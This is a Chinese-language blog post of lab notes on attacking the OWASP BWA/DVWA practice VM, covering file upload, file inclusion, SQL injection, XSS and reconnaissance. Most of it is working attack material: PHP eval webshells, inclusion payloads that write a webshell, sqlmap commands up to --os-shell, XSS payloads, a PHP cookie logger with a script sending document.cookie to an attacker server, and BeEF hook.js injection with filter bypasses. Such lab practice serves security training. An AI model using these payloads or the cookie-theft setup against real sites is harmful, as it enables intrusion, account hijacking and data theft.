owaspbwa靶机实践

upload

低安全级别

一、直接上传php木马文件

<?php @eval($_POST[joe]);?>

二、菜刀连接
上面代码中joe为连接密码

中安全级别

一、使用kali中的burp suite软件进行代理拦截

  1. 点入proxy栏中的options栏,将拦截地址改为kali的网络地址(在命令行中输入ip a即可得到)
  2. 再将上传文件的浏览器中的代理地址改为kali的网络地址,并上传php木马文件
  3. 文件会被burp suite拦截,将其中文件mime类型改为指定的image/jpeg
  4. 点击forward发送,文件成功上传

二、菜刀连接

file inclusion

避免方法

文件包含指定特定文件,误用*

低安全级别

方法一:本地文件包含

一、用edjpgcom把生成php木马文件的代码写入一张图片中,并上传

<?fputs(fopen("upload.php","w"),'<?php @eval($_POST[joe]);?>')?>

二、文件包含界面访问该文件
访问后自动生成木马文件
三、菜刀连接

方法二:远程文件包含

一、在kali中搭建服务器
命令行中输入
systemctl start apache2
systemctl status apache2
二、在服务器中写入能够生成php木马文件的文件
vim /var/www/html/inclusion.txt

<?fputs(fopen("upload.php","w");'<?php @eval($_POST[joe]);?>'?>

退出并保存:先按esc,再输入 :wq(冒号不可去)
三、文件包含界面访问该文件
该文件的地址为:kali网络地址/inclusion.txt
四、菜刀连接

中安全级别

方法一:本地文件包含

与低安全级别一致

方法二:远程文件包含

与低安全级别大致一致
不同点在,访问文件时,需打碎http://,如hthttp://tp://

SQL injection

用union连接其他表,但需列数相同,列数不够可用1234顶替。

information_schema库

查看所有库及表 information_schema.tables

select DISTINCT table_schema from information_schema.tables;
此语句等同于show databases;

select table_name from information_schema.tables where table_schema=“dvwa”;
此语句等同于在dvwa库中show tables;

select table_schema,GROUP_CONCAT(table_name) from information_schema.tables GROUP BY table_schema;
此语句将库分组,显示出所有库及表

查看表中的列 information_schema.columns

select column_name from information_schema.columns where table_schema="" and table_name="";

手动注入

检查是否有注入点

输入单引号’,若报错而不是过滤掉,则表明存在注入点。

基于布尔的注入

此注入可获得当前表中所有的数据
原语句 SELECT first_name, last_name FROM users WHERE user_id = ‘$id’
输入 233’ or 1=1 – a
单引号前输入什么都没关系,单引号用于封闭 $id 前的单引号,or后面接上一个真条件,–为注释,其后必须有空格,a可用任何替换,目的是注释掉 $id 后面的单引号

基于union的注入

输入 ’ union select 1,2,3… –
其中1,2,3…从1输起,因为union select需与前面的字段数(多少列)相同,用于检测原语句中select多少个字段数

输入 ’ union select user(),database() – a
若上一步检测到只有两个字段数,则输入此语句得到当前用户及所在库,要搜的字段数不够则用数字填充,多了用concat连接字段,如 concat(user," ",password)

基于时间的盲注

直接输入单引号不给予反应时,使用基于时间的盲注
原语句 SELECT first_name, last_name FROM users WHERE user_id = ‘$id’
输入 1’ and sleep(5) –
如果停5秒,则有注入点

自动注入

使用kali中的sqlmap工具
命令行中输入形如 sqlmap -u “http://…?id=1” 搜索注入点

步骤

–batch
自动化搜索注入点

–current-db
获取当前库

–dbs
获取所有库

-D 库名 --tables
获取指定库所有表

-D 库名 -T 表名 --columns
获取指定库指定表中所有列

-D 库名 -T 表名 -C “列名” --dump
获取指定库、表、列的所有数据,多列名里用逗号连接

-D 库名 -T 表名 --dump
获取指定库、表的所有数据

另,如果需要先登录的情况检测,则先用浏览器的工具获得cookie
–cookie=" "
里面的值用等号连接

sqlmap指令

-u " " 后接搜索注入点的url
–batch 自动化输入
–dbms mysql 指定数据库为mysql
-p id 指定注入点id
–sql-shell 获取数据库权限
–os-shell 获取操作系统权限

避免方法

转义或者过滤单引号

XSS

含两种:XSS reflected、XSS stored
XSS reflected需要诱导用户点击
XSS stored不需要,只需用户进入即可

避免方法

过滤字符<>/

构造XSS脚本

弹框警告

用于检测是否存在XSS漏洞
<script> alert('xss')</script>

页面嵌套

<iframe src=http://www.baidu.com width=300 height=300></iframe>

页面重定向

<script>window.location="http://www.baidu.com"</script>
<script>location.href="http://www.baidu.com"</script>

弹框警告及页面重定向

<script>alert("baidu");window.location="http://www.baidu.com"</script>

访问恶意代码

<script src="http://BeEF_IP:3000/hook.js"></script>
可利用大小写绕开过滤脚本
<sCrIpT src="http://BeEF_IP:3000/hook.js"></SRCipt>
也可巧用图片标签
<img src="http://BeEF_IP:3000/hook.js"></img>
也可利用字符编码,即将每个字符转换为其对应的编码,如x为&#120;,s为&#115;

手工XSS

一、kali搭建服务器并写好木马程序
systemctl start apache2
vim /var/www/html/cookie_get.php

<?php
	$cookie = $_GET['cookie'];
	$log = fopen("cookie.txt","a");
	fwrite($log,$cookie."\n");
	fclose($log);
?>

二、kali中给路径权限,用来生成一个存放cookie的文本文件
chown -R www-data.www-data /var/www/
三、在漏洞点写入XSS代码
<script>window.open('http://192.168.159.132/cookie_get.php?cookie='+document.cookie)</script>

自动化XSS

一、kali搭建服务器
service apache2 start
二、打开beef
已设置账号密码为feeb
三、将Example里的代码植入漏洞点
需将网址改为kali的网络地址
<script src="http://192.168.159.132:3000/hook.js"></script>
四、打开web UI的地址
也需将网址改为kali的网络地址
打开登录后,cookie的搜集便都可在里面查看了

里面点入某用户下,current browser栏下的commands栏
绿色代表能够攻击且不会被发现
橙色代表能够攻击但可能会被发现
灰色代表可能可以攻击
红色代表不能攻击

web信息收集

搜索引擎

Google

site:zhihu.com “web安全”
搜索与zhihu.com、"web安全"相关的网页

filetype:pdf “SQL注入”
搜索含“SQL注入”的pdf文件

inurl:.php?id=
搜索网址中含有".php?id="的网页

intitle:后台登陆
搜索网页标题是“后台登陆”的相关页面
intitle:index of “password”
搜索与密码相关的索引目录信息

intext:power by wordpress
搜索正文中含有“power by wordpress”的网页

author:green
搜索作者为Green的网页

以上可同时使用

符号以限定搜索
-keyword 结果不出现keyword关键字
*keyword 结果包含keyword
“keyword” 结果出现keyword
~keyword 结果出现keyword及其近义词
2008…2019 指定年份

Shodan

用于搜索设备

Zoomeye

中国版shodan

目标扫描

nmap

zenmap

图形化的nmap

OpenVAS

已将账号设置为admin,密码为password

openvas-start 启动命令

  • 3
    点赞
  • 20
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值